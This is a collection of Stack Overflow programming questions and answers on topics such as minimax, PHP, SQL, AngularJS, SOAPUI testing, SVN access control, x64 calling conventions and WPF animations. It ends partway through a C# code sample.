29403375	0	 <p>I think you are misunderstanding how to look ahead in a game like this. Do not 'total' the values returned by <code>evaluateLine</code>.</p> <p>Here is pseudocode for the minimax score of a tic-tac-toe board (what <code>evaluateBoard</code> should return). Note that <code>evaluateBoard</code> will need to have a notion of <code>currentTurn</code>.</p> <pre><code>function evaluateBoard(board, currentTurn) // check if the game has already ended: if WhiteHasWon then return -10 if BlackHasWon then return +10 // WhiteHasWon returns true if there exists one or more winning 3-in-a-row line for white. // (You will have to scan for all 8 possible 3-in-a-row lines of white pieces) // BlackHasWon returns true if there exists one or more winning 3-in-a-row line for black if no legal moves, return 0 // draw // The game isn't over yet, so look ahead: bestMove = notset resultScore = notset for each legal move i for currentTurn, nextBoard = board Apply move i to nextBoard score = evaluateBoard(nextBoard, NOT currentTurn).score if score is &lt;better for currentTurn&gt; than resultScore, then resultScore = score bestMove = move i return (resultScore, bestMove) </code></pre> <p>One very key difference between this and your version and my version is that my version is <strong>recursive</strong>. Yours only goes one level deep. Mine calls <code>evaluateBoard</code> from inside <code>evaluateBoard</code>, which would be an infinite loop if we aren't careful (once the board fills up, it can't go any deeper, so it's not actually infinite)</p> <p>Another difference is that yours totals stuff when it shouldn't. The resulting score from tic-tac-toe is -10,0, or 10 only once you've looked to the end of the game. You should be picking the best possible move available to that player at that time, and ignoring all other possibilities completely because you only care about the "best" line of play. The game score is equal to the result of optimal play.</p> <p>Expanding <code>&lt;better for currentTurn&gt;</code> is messy in minimax, which is why negamax is cleaner. White prefers low scores and black prefers high scores, so you need some if statements to make it choose the appropriate preferred score. You have this part already (at the end of your best move code), but it needs to be evaluated inside the recursion instead of just at the end.</p>
25461038	0	Having the variable names in func_get_args() <p>As this function can take unknown numbers of parameters:</p> <pre><code>function BulkParam(){ return func_get_args(); } </code></pre> <p>A <code>print_r</code> will print only the values, but how i can retrieve the variable names as well as the array key? For example:</p> <pre><code>$d1 = "test data"; $d2 = "test data"; $d3 = "test data"; print_r(BulkParam($d1, $d2, $d3)); </code></pre> <p>It will print this:</p> <pre><code>Array ( [0] =&gt; test data [1] =&gt; test data [2] =&gt; test data ) </code></pre> <p>But i want to have the variables name as the index name or key name of all arrays. Then the array would look like this:</p> <pre><code>Array ( [d1] =&gt; test data [d2] =&gt; test data [d3] =&gt; test data ) </code></pre>
23134193	0	 <p>The provider class changed from <code>org.hibernate.ejb.HibernatePersistence</code> to <code>org.hibernate.jpa.HibernatePersistenceProvider</code> in new version of Hibernate check if this is solving your problem.</p>
27215109	0	 <p>You cannot use aggregate functions after <code>WHERE</code> clause because it makes no sense, whereas <code>DATEDIFF</code> is usable. It makes no sense because it would be like telling the computer:</p> <blockquote> <p>select all the rows for which the maximum of the id column is 34</p> </blockquote> <p>which may sound somewhat logical but is not really, and is in fact the same as <code>id &lt; 35</code>. that second way is also way clearer. </p> <p>The real problem is in fact that counting the max of a column in a selection requires that a selection already be made. Hence <code>MAX</code> can't be used as a condition to actually select rows to be evaluated.</p> <p>as for <code>DATEDIFF</code>, it works because the resulting question, for the computer, is logical:</p> <blockquote> <p>select all the rows for which the difference between date1 and date2 is less then 10</p> </blockquote>
17878513	0	Character limit - Joomla (Article Content) <p>I am stuck working on a gallery, which uses 3 columns and 1 row multiplied alot of times to show a simple and clear gallery.</p> <p>The problem comes when after publishing, the max-length of articles cut the content, but I can't find the config where I can change it.</p>
31541242	0	 <p>What it looks like is happening here is because you're altering the List's whilst iterating through them. Consider this for loop you have here </p> <pre><code> for(int i=0;i&lt;ballList.size();i++){ Ball bb=ballList.get(i); bb.update(); bb.render(); bb.migrate(); text(bb.age,bb.pos.x,bb.pos.y); } </code></pre> <p>Say ballList has 2 balls in it both age 3, the first loops gets ball[0] and then removes it from the list, i will increment and the loop will immediately exit because ballList.size() is now 1. So it's not the ball which gets to age 4 that vanishes but the subsequent one. </p>
4233671	0	 <p>Two problems here</p> <ol> <li><p>In your <code>__mul__</code> implementation of <code>MyFloatExt</code> you're never checking if <code>other</code> is an instance of <code>MyFloatExt</code></p></li> <li><p><code>isinstance(e, MyFloat)</code> will always be true, because <code>MyFloatExt</code> inherits from <code>MyFloat</code></p></li> </ol> <p>To fix it: </p> <pre><code>def __mul__(self, other): # check if we deal with a MyFloatExt instance if isinstance(other, MyFloatExt): return MyFloatExt(self.a * other.a) if type(other) == (int, long, float): return MyFloatExt(self.a * other) else: return MyFloat.__mul__(self, other) # do the correct check print isinstance(e, MyFloatExt) </code></pre>
18706306	0	 <p>If you use the jquery ui datepicker, the compatibility issue should be taken care of for you. I'me using it with IE8 without issue. Then your code is just:</p> <pre><code>$(document).ready(function(){ $('.datepick').datepicker();}); </code></pre>
28505021	0	Nservicebus failing to start on localsystem <p>I recently upgraded to v4.6 of nservicebus and when I am trying to start locally using services.msc, it is throwing error "services on local system started and stopped". Can't make out what is missing. I can use command line to start the nservicebus using like this:</p> <pre><code>NServiceBus.Host.Exe NServiceBus.Master NService.Integration </code></pre> <p>Can someone please help?</p>
4443321	0	 <p>I would check out the fantastic Rome library: <a href="http://wiki.java.net/bin/view/Javawsxml/Rome" rel="nofollow">http://wiki.java.net/bin/view/Javawsxml/Rome</a></p>
21452002	0	 <p>A comment does nothing (but your database driver might complain if there is not command at all):</p> <pre><code>/* Hello, world! */ </code></pre> <p>Unknown <a href="http://www.sqlite.org/pragma.html" rel="nofollow">PRAGMA</a> statements are ignored, and do not return anything:</p> <pre><code>PRAGMA testing_porpoises; </code></pre> <p>If you need a statement that returns an empty result set, you need a SELECT:</p> <pre><code>SELECT 0 WHERE 0; </code></pre>
25689156	0	 <p>It should work fine if you remove the <code>;</code> at the end. (Tested)</p>
33318146	0	 <p>Make change in your gruntfile.js</p> <p>htmlmin. files.src: ['<em>.html', '{,</em>/}*.html']and </p> <p>copy.dist.files.src:[ '<em>.{ico,png,txt}', '.htaccess', '</em>.html', '{,<em>/}</em>.html', 'images/{,<em>/}</em>.{webp}', 'styles/fonts/{,<em>/}</em>.*' ]</p> <p>In this way it is working for me.</p>
38153362	0	 <p>In C a value of 0 means false and any other means true. Strings end in a null character with a value of 0. This while loop copies all the characters from s to d until the null (end of string) is reached.</p> <p>The assignment <code>*d++ = *s++</code> returns the same value as <code>*s++</code> is assigned to <code>*d</code></p> <p>After the loop both <code>s</code> and <code>d</code> will be pointing after the null character. Note that the null is also copied.</p>
8610479	0	 <p>This loading message is generated by ShadowBox lightbox plugin because you have an error in your kjquery.js file at line 5, missing a <code>)</code> as Keith comented.</p> <p>As soon as you fix this error, all should work.</p>
18583439	0	 <p>You need to simply tell it that the three corner symbols are different.</p> <pre><code> Scanner keys = new Scanner(System.in); int x = 0; int y = 0; public void getInput() { x = keys.nextInt(); y = keys.nextInt(); createart(); } public void createart() { System.out.print("00"); int counter = 0; while (counter &lt; x - 4) { System.out.print(1); counter++; } System.out.println("00"); counter = 0; System.out.print("0"); while (counter &lt; x - 2) { System.out.print(1); counter++; } System.out.print("0"); counter = 0; int counter2 = 0; while (counter &lt; y - 4) { System.out.println(""); while (counter2 &lt; x) { System.out.print(1); counter2++; } counter++; } System.out.println(""); counter = 0; while (counter &lt; x - 2) { System.out.print(1); counter++; } counter = 0; System.out.println("0"); System.out.print("00"); while (counter &lt; x - 4) { System.out.print(1); counter++; } System.out.print("00"); } </code></pre> <p>Simple logic. </p>
25333120	0	 <p>There's 2 ways you could solve this that don't require your application code to be aware of your container.</p> <p>The first method, instead replacing the registered instance of <code>UserModel</code> with a new instance, you'd just update the registered instances properties to the new values. This is probably the simplest, if your type is mutable and not overly complex.</p> <p>This second method would be appropriate if updating the original <code>UserModel</code> instance is undesirable or impossible. Basically, just add a layer of indirection:</p> <pre class="lang-cs prettyprint-override"><code>// ------------------------- // add this class: public class Changeable&lt;T&gt; { public T Value { get; set; } } // ------------------------- // set up registrations like so: // register the default value like so builder.RegisterInstance( new Changeable&lt;UserModel&gt; { Value = new UserModel { Id = Migration001.GuestUserId, Email = Migration001.GuestEmail, PasswordHash = Migration001.GuestPassword } }); // register UserModel directly, which can be used by all the classes that don't // need to change the instance builder.Register(c =&gt; c.Resolve&lt;Changeable&lt;UserModel&gt;&gt;().Value); </code></pre> <p>Now your service classes can take a constructor parameter of either <code>Changeable&lt;UserModel&gt;</code> or just <code>UserModel</code> depending on whether they need to be able to change the instance or not, with no more direct reference to the container.</p>
37059064	0	 <p>In your env file, the value should not have any single or double quotes.</p>
33842179	0	 <p>You have to use <code>then</code> method from fetchGraph or else return data from success method of <code>$http</code>.</p> <p>My recommendation, you can keep watch on the <code>self.items</code>. so whenever it change you can re-draw your graph.</p> <pre><code>$scope.$watch( "self.items", function () { //re-draw your graph $scope.$apply(); // not needed always, just a precaution } ); </code></pre>
28346534	0	Select count breaks in do-while loop <p>Where I work we need to register computers into a database, before we just used pen an paper, but I was asked to create an easier method. So I made a small local homepage.</p> <p>The computers are registered by a tag and number. The tag combined with the number must be unique, I made this loop that increment the entered number until it finds a free one.</p> <pre><code> $checkUnique = openConnection("stationer")-&gt;prepare("SELECT COUNT(1) FROM `dator` WHERE `tag_id`=:id AND `tag_number`=:number"); do{ $checkUnique -&gt; bindParam(":number", $_POST['number']); $checkUnique -&gt; bindParam(":id", $_POST['tag']); $checkUnique -&gt; execute(); $checkUniqueResult = $checkUnique-&gt;fetchColumn(); if($checkUniqueResult != 0 &amp;&amp; empty($searchTagNumber)){ $errors[] = "Non-unique tag and number"; break; } $_POST['number'] = $searchTagNumber == "+" ? $_POST['number']+1 : $_POST['number']-1; if($_POST['number'] &lt;= 0){ $errors[] = "The tag number can't be 0 or lower"; break; } }while($checkUniqueResult &gt; 0); </code></pre> <p>But for some odd reason, it appear to randomly stop, even if the tag and number isn't unique, with no error messages, and I have no idea what causes it.</p>
14955256	0	C# prevent excel file from getting modified <p>Hi I'm searching a way to <strong>prevent</strong> an <strong>excel file</strong> from being <strong>modified</strong>. I <strong>don't want to use hidden fields</strong>, where you have to place a calculated hashcode in.</p> <p>My program should be able to note that a file has been modified outside the application when I reopen the file. </p> <p><strong>EDIT: Sorry i forgot to mention I also don't want to use a password</strong>, because the excel file may be only edited in the application and not outside...</p> <p>Is there a solution for this?</p> <p>Thanks in advance</p>
24145737	0	 <p>Something like this?</p> <p><img src="https://i.stack.imgur.com/WZMY9.png" alt="enter image description here"></p> <pre><code>&lt;Grid HorizontalAlignment="Center" VerticalAlignment="Center"&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition Height="25"/&gt; &lt;RowDefinition Height="Auto"/&gt; &lt;/Grid.RowDefinitions&gt; &lt;Grid.Resources&gt; &lt;Style TargetType="Rectangle"&gt; &lt;Setter Property="Stroke" Value="Black"/&gt; &lt;Setter Property="StrokeThickness" Value="1"/&gt; &lt;Setter Property="Height" Value="11"/&gt; &lt;Setter Property="Width" Value="11"/&gt; &lt;!-- For hittestvisibility --&gt; &lt;Setter Property="Fill" Value="Transparent"/&gt; &lt;/Style&gt; &lt;/Grid.Resources&gt; &lt;Line X1="0" Y1="1" X2="0" Y2="0" Stretch="Fill" Stroke="Black" /&gt; &lt;Rectangle VerticalAlignment="Top" HorizontalAlignment="Center"/&gt; &lt;Grid Grid.Row="1" Height="200" Width="200" Margin="-5"&gt; &lt;Rectangle Margin="5" Height="Auto" Width="Auto" Fill="{x:Null}"/&gt; &lt;Rectangle VerticalAlignment="Top" HorizontalAlignment="Left"/&gt; &lt;Rectangle VerticalAlignment="Top" HorizontalAlignment="Center"/&gt; &lt;Rectangle VerticalAlignment="Top" HorizontalAlignment="Right"/&gt; &lt;Rectangle VerticalAlignment="Center" HorizontalAlignment="Left"/&gt; &lt;Rectangle VerticalAlignment="Center" HorizontalAlignment="Right"/&gt; &lt;Rectangle VerticalAlignment="Bottom" HorizontalAlignment="Left"/&gt; &lt;Rectangle VerticalAlignment="Bottom" HorizontalAlignment="Center"/&gt; &lt;Rectangle VerticalAlignment="Bottom" HorizontalAlignment="Right"/&gt; &lt;!-- The Content --&gt; &lt;Rectangle Width="Auto" Height="Auto" Margin="20" Fill="Green"/&gt; &lt;TextBlock HorizontalAlignment="Center" VerticalAlignment="Center" Text="Content"/&gt; &lt;/Grid&gt; &lt;/Grid&gt; </code></pre> <p>The terminology is <a href="http://help.adobe.com/en_US/illustrator/cs/using/WS714a382cdf7d304e7e07d0100196cbc5f-6480a.html#WS714a382cdf7d304e7e07d0100196cbc5f-647ba" rel="nofollow noreferrer">Bounding Box</a></p>
17343781	0	 <p>Don't reinvent the wheel, building a custom testing software mini empire from scratch. Use SOAPUI open source version to test web services. It allows you to:</p> <ul> <li>generate SOAP tests from web service endpoint WSDL, saving manual labour</li> <li>avoid processing "pre-canned" SOAP strings and parsing files </li> <li>automatically generate mocks of your service endpoints, including ability to programmatically control custom responses. </li> <li>implement test step logic including loops, branches, invoking other test steps, running scripts, and reading/writing parameters from/to property files and data sources (although you must programatically navigate &amp; modify XmlHolder instances via scripts if you wish to "data-drive" your tests)</li> <li>Execute SOAP, REST, security &amp; load testing of web services, and also JDBC and HTTP test calls. </li> <li>Integrates with the common build and continuous integration tools for test automation (TDD &amp; continuous delivery). </li> <li>Use SOAPUI operations within your IDE, via plugins. </li> </ul> <p>It's considered fairly standard "best practice" for testing web services.</p> <p>To checks SOAP response messages for valid content, using the open source version of SOAPUI:</p> <ul> <li>you can use <a href="http://www.soapui.org/Functional-Testing/xpath-and-xquery-assertions.html" rel="nofollow">XPath or XQuery expressions to validate the XML</a>.</li> <li><p>you can use <a href="http://www.soapui.org/Functional-Testing/script-assertions.html" rel="nofollow">script assertions</a></p> <p>E.g. if your SOAP response is:</p> <pre><code> &lt;soap:Body&gt; &lt;GetEnumResponse xmlns="http://www.xyz.com/"&gt; &lt;GetEnumResult&gt; &lt;ErrorCode&gt;0&lt;/ErrorCode&gt; &lt;StatusId&gt;0&lt;/StatusId&gt; &lt;/GetEnumResult&gt; &lt;enumsInformation&gt; &lt;EnumInformation&gt; &lt;TransactionId&gt;0&lt;/TransactionId&gt; &lt;ConstraintId&gt;5000006&lt;/ConstraintId&gt; &lt;EnumValue&gt;xyz&lt;/EnumValue&gt; &lt;Index&gt;10&lt;/Index&gt; &lt;/EnumInformation&gt; &lt;/enumsInformation&gt; &lt;/GetEnumResponse&gt; &lt;/soap:Body&gt; </code></pre> <p>You can script:</p> <pre><code> import com.eviware.soapui.support.XmlHolder def holder = new XmlHolder(messageExchange.responseContentAsXml) holder.namespaces["tal"]="http://www.xyz.com/" def node = holder.getNodeValue("//tal:ConstraintId[1]"); log.info(node); assert node == "5000006"; </code></pre></li> <li><p>You can even use the maximum power of standard java regex processing. </p> <p>Create java classes that do the regex processing and put them into a jar file and place in soapUIinstallation/bin/ext as explained <a href="http://technicaltesting.wordpress.com/tag/soapui/" rel="nofollow">here</a>.</p> <p>Or wrap your SOAPUI Test inside a JUnit test method, and add standard java code at end to check regexs. This also eases test automation &amp; allows any non-web service tests to be executed as well. This approach works with SOAPUI open source version, whereas the alternative of using SOAPUI assertion steps requires the Pro version.</p> <p>Steps:</p> <ol> <li>If you choose, install the SOAPUI plugin in your IDE</li> <li>Use SOAPUI to create a test suite</li> <li>Use SOAPUI to create test case(s) within the test suite</li> <li>Use SOAPUI to create test step(s) within the test suite. This is the core of using SOAPUI. </li> <li>Create a Java project in your IDE. Within this project, add a JUnit test case.</li> <li>Add all JARs from SoapUI bin and lib directories to Java Build Path.</li> <li>Within the Junit Test case, add code to execute a SOAPUI test step</li> <li>Obtain the MessageExchange object, get the response from it, and then get headers, content or attachments. Run a regex check on result.</li> </ol> <p>The following is indicative only. Not intended to be a working example.</p> <pre><code> package com.example; import org.junit.Test; import com.eviware.soapui.tools.SoapUITestCaseRunner; public class SoapUIProject { // runs an entire SOAPUI test suite @Test public void soapTest1() throws Exception { SoapUITestCaseRunner runner = new SoapUITestCaseRunner(); runner.setProjectFile("/path/to/your/W3Schools-Tutorial-soapui-project.xml"); runner.run(); } // runs a single SOAPUI test step - and checks response matches a regex @Test public void soapTest2() throws Exception { WsdlProject project = new WsdlProject( "src/dist/sample-soapui-project.xml" ); TestSuite testSuite = project.getTestSuiteByName("My Test Suite"); TestCase testCase = testSuite.getTestCaseByName("My Test Case"); TestCaseRunner testCaseRunner = new WsdlTestCaseRunner(testCase,null); // Must have test step setup as WsdlMessageExchange for cast to work WsdlMessageExchangeTestStepResult testStepResult = (WsdlMessageExchangeTestStepResult)testStep.runTestStepByName("My Test Step"); // TestStep testStep = testCase.getTestStepByName("My Test Step"); // TestCaseRunContext testCaseRunContext = new WsdlTestRunContext(testStep); // testStep.prepare(testCaseRunner, testCaseRunContext); // WsdlMessageExchangeTestStepResult testStepResult = (WsdlMessageExchangeTestStepResult)testStep.run(testCaseRunner, testCaseRunContext); MessageExchange[] messageExchanges = testStepResult.getMessageExchanges(); for (MessageExchange me : messageExchanges) { String response = me.getResponseContentAsXML(); // do any desired regex processing // can use any desired assertions } assertEquals( Status.FINISHED, runner.getStatus() ); } } </code></pre></li> </ul> <p>Further refs: <a href="http://www.soapui.org/Scripting-Properties/tips-a-tricks.html#3-xml-nodes" rel="nofollow">http://www.soapui.org/Scripting-Properties/tips-a-tricks.html#3-xml-nodes</a> <a href="http://books.google.com.au/books?id=DkWx7xZ263gC&amp;printsec=frontcover#v=onepage&amp;q&amp;f=false" rel="nofollow">http://books.google.com.au/books?id=DkWx7xZ263gC&amp;printsec=frontcover#v=onepage&amp;q&amp;f=false</a></p>
34092263	0	Saving a field generated in ng-repeat in AngularJS <p>So, what I need here is to save a data in an array for every field generated in ng-repeat. My code looks something like this:</p> <pre><code>&lt;tr ng-repeat = "feature in filteredFeatures"&gt; &lt;td&gt;{{feature.name}}&lt;/td&gt; &lt;td&gt;&lt;input type="number" ng-model=""&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre> <p>So, whatever the user writes on the input field I want it to be saved, but certainly I have no idea how.</p>
18374019	0	 <p>Hunspell is likely the most famous spell checker around:<br> <a href="http://hunspell.sourceforge.net/" rel="nofollow">http://hunspell.sourceforge.net/</a></p> <p>There are multiple versions of hunspell, but Aspell is an alternative:<br> <a href="http://aspell.net/" rel="nofollow">http://aspell.net/</a></p>
34331395	0	 <p>Thanks for your question. It is possible to process multiple refunds (or rebates as we refer to them) against a single transaction. This isn't setup by default on your account, however. You can email your account manager and request that multiple rebates be enabled.</p> <p>Best,</p> <p>Seán</p> <p><strong>Channel Support</strong></p> <p><strong>Realex Payments</strong></p>
7438268	0	elasticsearch boosting slowing query <p>this is a very novice question but I'm trying to understand how boosting certain elements in a document works. </p> <p>I started with this query, </p> <pre><code>{ "from": 0, "size": 6, "fields": [ "_id" ], "sort": { "_score": "desc", "vendor.name.stored": "asc", "item_name.stored": "asc" }, "query": { "filtered": { "query": { "query_string": { "fields": [ "_all" ], "query": "Calprotectin", "default_operator": "AND" } }, "filter": { "and": [ { "query": { "query_string": { "fields": [ "targeted_countries" ], "query": "All US" } } } ] } } } } </code></pre> <p>then i needed to boost certain elements in the document more than the others so I did this </p> <pre><code>{ "from": 0, "size": 60, "fields": [ "_id" ], "sort": { "_score": "desc", "vendor.name.stored": "asc", "item_name.stored": "asc" }, "query": { "filtered": { "query": { "query_string": { "fields": [ "item_name^4", "vendor^4", "id_plus_name", "category_name^3", "targeted_countries", "vendor_search_name^4", "AdditionalProductInformation^0.5", "AskAScientist^0.5", "BuyNowURL^0.5", "Concentration^0.5", "ProductLine^0.5", "Quantity^0.5", "URL^0.5", "Activity^1", "Form^1", "Immunogen^1", "Isotype^1", "Keywords^1", "Matrix^1", "MolecularWeight^1", "PoreSize^1", "Purity^1", "References^1", "RegulatoryStatus^1", "Specifications/Features^1", "Speed^1", "Target/MoleculeDescriptor^1", "Time^1", "Description^2", "Domain/Region/Terminus^2", "Method^2", "NCBIGeneAliases^2", "Primary/Secondary^2", "Source/ExpressionSystem^2", "Target/MoleculeSynonym^2", "Applications^3", "Category^3", "Conjugate/Tag/Label^3", "Detection^3", "GeneName^3", "Host^3", "ModificationType^3", "Modifications^3", "MoleculeName^3", "Reactivity^3", "Species^3", "Target^3", "Type^3", "AccessionNumber^4", "Brand/Trademark^4", "CatalogNumber^4", "Clone^4", "entrezGeneID^4", "GeneSymbol^4", "OriginalItemName^4", "Sequence^4", "SwissProtID^4", "option.AntibodyProducts^4", "option.AntibodyRanges&amp;Modifications^1", "option.Applications^4", "option.Conjugate^3", "option.GeneID^4", "option.HostSpecies^3", "option.Isotype^3", "option.Primary/Secondary^2", "option.Reactivity^4", "option.Search^1", "option.TargetName^1", "option.Type^4" ], "query": "Calprotectin", "default_operator": "AND" } }, "filter": { "and": [ { "query": { "query_string": { "fields": [ "targeted_countries" ], "query": "All US" } } } ] } } } } </code></pre> <p>the query slowed down considerably, am I doing this correctly? Is there a way to speed it up? I'm currently in the process of doing the boosting when I index the document, but using it in the query that way is best for the way my application runs. Any help is much appreciated </p>
29489857	0	 <p>As far as I know you can't build your custom transitions and use them like normal WinRT Transitions, that is, inside a TransitionCollection.</p> <pre><code>&lt;ListView.Transitions&gt; &lt;TransitionCollection&gt; &lt;myTransitions:PotatoeTransition/&gt; &lt;/TransitionCollection&gt; &lt;/ListView.Transitions&gt; </code></pre> <p>You can't do the above as far as I know. (ignore the fact that I exemplified with a ListView, it applies to everything, I think) </p> <p>You'll probably have to use a Storyboard that animates both the RenderTransform (TranslateTransform) and the Opacity to achieve your objective.<br> I think you can still create a Behavior though if you want to make it more reusable. </p>
12981417	0	Why does svn authz need read access by default? <p>I need to give read/write access for a user to an exactly one repository.</p> <p>Why this doesn't work?</p> <pre><code>[groups] dev = dvolosnykh,sam [/ukk] ukk = rw [/] @dev = rw </code></pre> <p>Why should I add this?</p> <pre><code>[/] @dev = rw * = r # read access for everyone. Why? </code></pre> <p>I'm using dav_svn, apache2, Linux Ubuntu server 11.04</p> <p>My dav_svn.conf:</p> <pre><code>&lt;Location /svn&gt; DAV svn SVNParentPath /var/svn SVNListParentPath On AuthType Basic AuthName "Subversion Repository" AuthUserFile /etc/apache2/dav_svn.passwd AuthzSVNAccessFile /etc/apache2/dav_svn.authz Require valid-user &lt;/Location&gt; </code></pre>
31563017	0	anglularJs custom directive not loading <p>I am trying to create a custom directive in the below manor:</p> <p>my main html file:</p> <pre><code>&lt;body ng-app="boom"&gt; &lt;!--&lt;section ng-include="'data-table.html'"&gt;&lt;/section&gt;--&gt; &lt;data-table&gt;&lt;/data-table&gt; &lt;/body&gt; </code></pre> <p>my app.js file:</p> <pre><code>(function () { var app = angular.module('boom', ['ajs-directives']); })(); </code></pre> <p>my ajs-directive.js file:</p> <pre><code>(function () { var app = angular.module('ajs-directives', []); app.directive('dataTable', function () { return { restrict: 'E', templateUrl: 'data-table.html', controller: function () { this.dataSet = dataSet; }, controllerAs: 'tableData' }; }); var dataSet = [ { prop1: 'one', prop2: 'two', prop3: 'three' }, { prop1: 'four', prop2: 'five', prop3: 'six' } ]; })(); </code></pre> <p>And my data-table.html file:</p> <pre><code>&lt;div class="table-wrapper"&gt; &lt;table class="table table-fixed"&gt; &lt;thead class="header"&gt; &lt;tr&gt; &lt;th&gt;Entity&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;/table&gt; &lt;div id="media_table_height" class="table-content scroll-outer"&gt; &lt;div class="scroll-inner"&gt; &lt;table class="table-fixed"&gt; &lt;tbody ng-repeat="data in tableData.dataSet"&gt; &lt;tr class="data-row"&gt; &lt;td&gt;{{data.prop1}}&lt;/td&gt; &lt;/tr&gt; &lt;tr class="data-row"&gt; &lt;td&gt;{{data.prop2}}&lt;/td&gt; &lt;/tr&gt; &lt;tr class="data-row"&gt; &lt;td&gt;{{data.prop3}}&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>The issue I have is that nothing renders in my main html file. Just the <code>&lt;data-table&gt;&lt;/data-table&gt;</code> tags are visible. I get no console errors in Google Chrome.</p> <p>You might be able to see from my main html file that I have tried adding in the data-table.html file using the <code>ng-include="'data-table.html'"</code> attribute (and obviously creating a controller in the ajs-directive.js file). When I did it this way it worked fine.</p> <p>Just wondering why it won't work when I am using the directive - have been googling and tweaking for a few days but can't figure it out.</p>
40995374	0	 <p>There is no such thing as "Abi64". Since you tagged the question MASM, we can guess that you're using the Windows platform, and clearly the "64" means that this is 64-bit code, so that does narrow down the possibilities tremendously. However, there are still two common calling conventions for 64-bit code on Windows. One of them is <code>__vectorcall</code> and the other is the Microsoft x64 calling convention (the one that was originally invented to make all other calling conventions obsolete but&hellip;didn't).</p> <p>Since the Microsoft x64 calling convention is the most common, and in this particular case, using <code>__vectorcall</code> wouldn't change anything, I'll assume it's the one that you're using. And then the code required becomes absolutely trivial. All you need to do is jump from <code>f1</code> to <code>f2</code>, since the stack will be set up identically. <code>f1</code>'s first two parameters are the two parameters that should be passed to <code>f2</code>, and the return value of <code>f2</code> is the return value of <code>f1</code>. Therefore:</p> <pre><code>f1: rex_jmp r8 ; third parameter (pointer to f2) is passed in r8 </code></pre> <p>This is not only trivial to write, but it is the most optimal implementation for both size and speed.<br> You can even modify the <code>v1</code> or <code>v2</code> parameters beforehand if you want, e.g.:</p> <pre><code>f1: inc ecx ; increment v1 (passed in ecx) ; multiply v2 (xmm1) by v1 (ecx) movd xmm0, ecx cvtdq2ps xmm0, xmm0 mulss xmm1, xmm0 rex_jmp r8 ; third parameter (pointer to f2) is passed in r8 </code></pre> <p>In case you wanted to do something more complicated, here's how it would work:</p> <pre><code>f1: sub rsp, 40 ; allocate the required space on the stack call r8 ; call f2 through the pointer, passed in r8 add rsp, 40 ; clean up the stack ret </code></pre> <p>Note that you do not need the prologue/epilogue code that you've shown in the question, though it won't hurt anything if you choose to include it.</p> <p>However, the shuffling of parameters that you were doing in the example code shown in the question is <em>wrong</em>! In the Microsoft x64 calling convention, the first up-to-four integer arguments are passed in registers, from left to right, in RCX, RDX, R8, and R9. All other integer arguments are passed on the stack. The first up-to-four floating-point values are also passed in registers, from left to right, in XMM0, XMM1, XMM2, and XMM3. The rest are passed on the stack, along with structs too large for registers.</p> <p>The weird thing, though, is that the slots are "fixed", so only 4 total register args can be used, even when you have a mix of integer and fp args. Thus:</p> <pre><code>╔═══════════╦══════════════════════════╗ ║ ║ TYPE ║ ║ PARAMETER ╠═════════╦════════════════╣ ║ ║ Integer ║ Floating-Point ║ ╠═══════════╬═════════╬════════════════╣ ║ First ║ RCX ║ XMM0 ║ ╠═══════════╬═════════╬════════════════╣ ║ Second ║ RDX ║ XMM1 ║ ╠═══════════╬═════════╬════════════════╣ ║ Third ║ R8 ║ XMM2 ║ ╠═══════════╬═════════╬════════════════╣ ║ Fourth ║ R9 ║ XMM3 ║ ╠═══════════╬═════════╩════════════════╣ ║ (rest) ║ on stack ║ ╚═══════════╩══════════════════════════╝ </code></pre> <p>It doesn't matter that the second parameter is the first floating-point value that is being passed. It doesn't go in XMM0 because it's the first floating-point value, it goes in XMM1 because it's the second parameter and therefore in the second "slot". (This is different from <a href="https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI" rel="nofollow noreferrer">the x86-64 System V ABI</a>, where the first 6 integer args go in registers, whether or not there are FP args).</p> <p>More detailed documentation on Windows parameter passing is available <a href="https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx" rel="nofollow noreferrer">here</a>, including examples.</p>
19110774	0	Widevine Test content for player validation <p>I know that the Widevine DRM scheme is supported in the 4+ version of the Android devices. I have created a media player application, how do I validate my player for playback of Widevine evcrypted content.</p>
30340116	0	 <p>The problem appears to go away when you go download and install the new command line tools for 6.3.2.</p>
9825691	0	 <p>yuo can add a screen for enter a coupons.<br> and the user can go in there and insrert his code and if it is correct you can give him whatever you want.</p>
22956303	0	 <p>The storyboard animation retains a reference to the item until the animation is complete.</p> <p>You should do the following:</p> <ol> <li>Move storyboards into resources, enabling you to access them from code behind.</li> <li>Create a field to reference the MyItem to be deleted.</li> <li>Set that field when "Delete" button is clicked</li> <li>Attach a StoryBoard.Completed event handler to the "fadeOut" storyboard, that removes the MyItem to be deleted from your collection, once the storyboard animation is done.</li> </ol> <p>Here is a solution that works:</p> <p>Code-behind:</p> <pre><code>using System; using System.Collections.ObjectModel; using System.Windows; using System.Windows.Input; using System.Windows.Media.Animation; namespace WpfApplication2 { /// &lt;summary&gt; /// Interaction logic for MainWindow.xaml /// &lt;/summary&gt; public partial class MainWindow : Window { private MyItem _itemToDelete; public ICommand DeleteCommand { get; private set; } public MainWindow() { InitializeComponent(); DeleteCommand = new MyCommand&lt;MyItem&gt;(Delete); this.Loaded += MainWindow_Loaded; } void MainWindow_Loaded(object sender, RoutedEventArgs e) { var fadeOutStoryBoard = TryFindResource("fadeOut"); if (fadeOutStoryBoard != null &amp;&amp; fadeOutStoryBoard is Storyboard) { (fadeOutStoryBoard as Storyboard).Completed += fadeOutStoryBoard_Completed; } } void fadeOutStoryBoard_Completed(object sender, EventArgs e) { if (this._itemToDelete != null) { MyItems myItems = Resources["myItems"] as MyItems; myItems.Remove(this._itemToDelete); } } private void Delete(MyItem myItem) { this._itemToDelete = myItem; } } public class MyItem : DependencyObject { public static readonly DependencyProperty NameProperty = DependencyProperty.Register("Name", typeof(string), typeof(MyItem)); public string Name { get { return (string)GetValue(NameProperty); } set { SetValue(NameProperty, value); } } } public class MyItems : ObservableCollection&lt;MyItem&gt; { } public class MyCommand&lt;T&gt; : ICommand { private readonly Action&lt;T&gt; executeMethod = null; private readonly Predicate&lt;T&gt; canExecuteMethod = null; public MyCommand(Action&lt;T&gt; execute) : this(execute, null) { } public MyCommand(Action&lt;T&gt; execute, Predicate&lt;T&gt; canExecute) { executeMethod = execute; canExecuteMethod = canExecute; } public event EventHandler 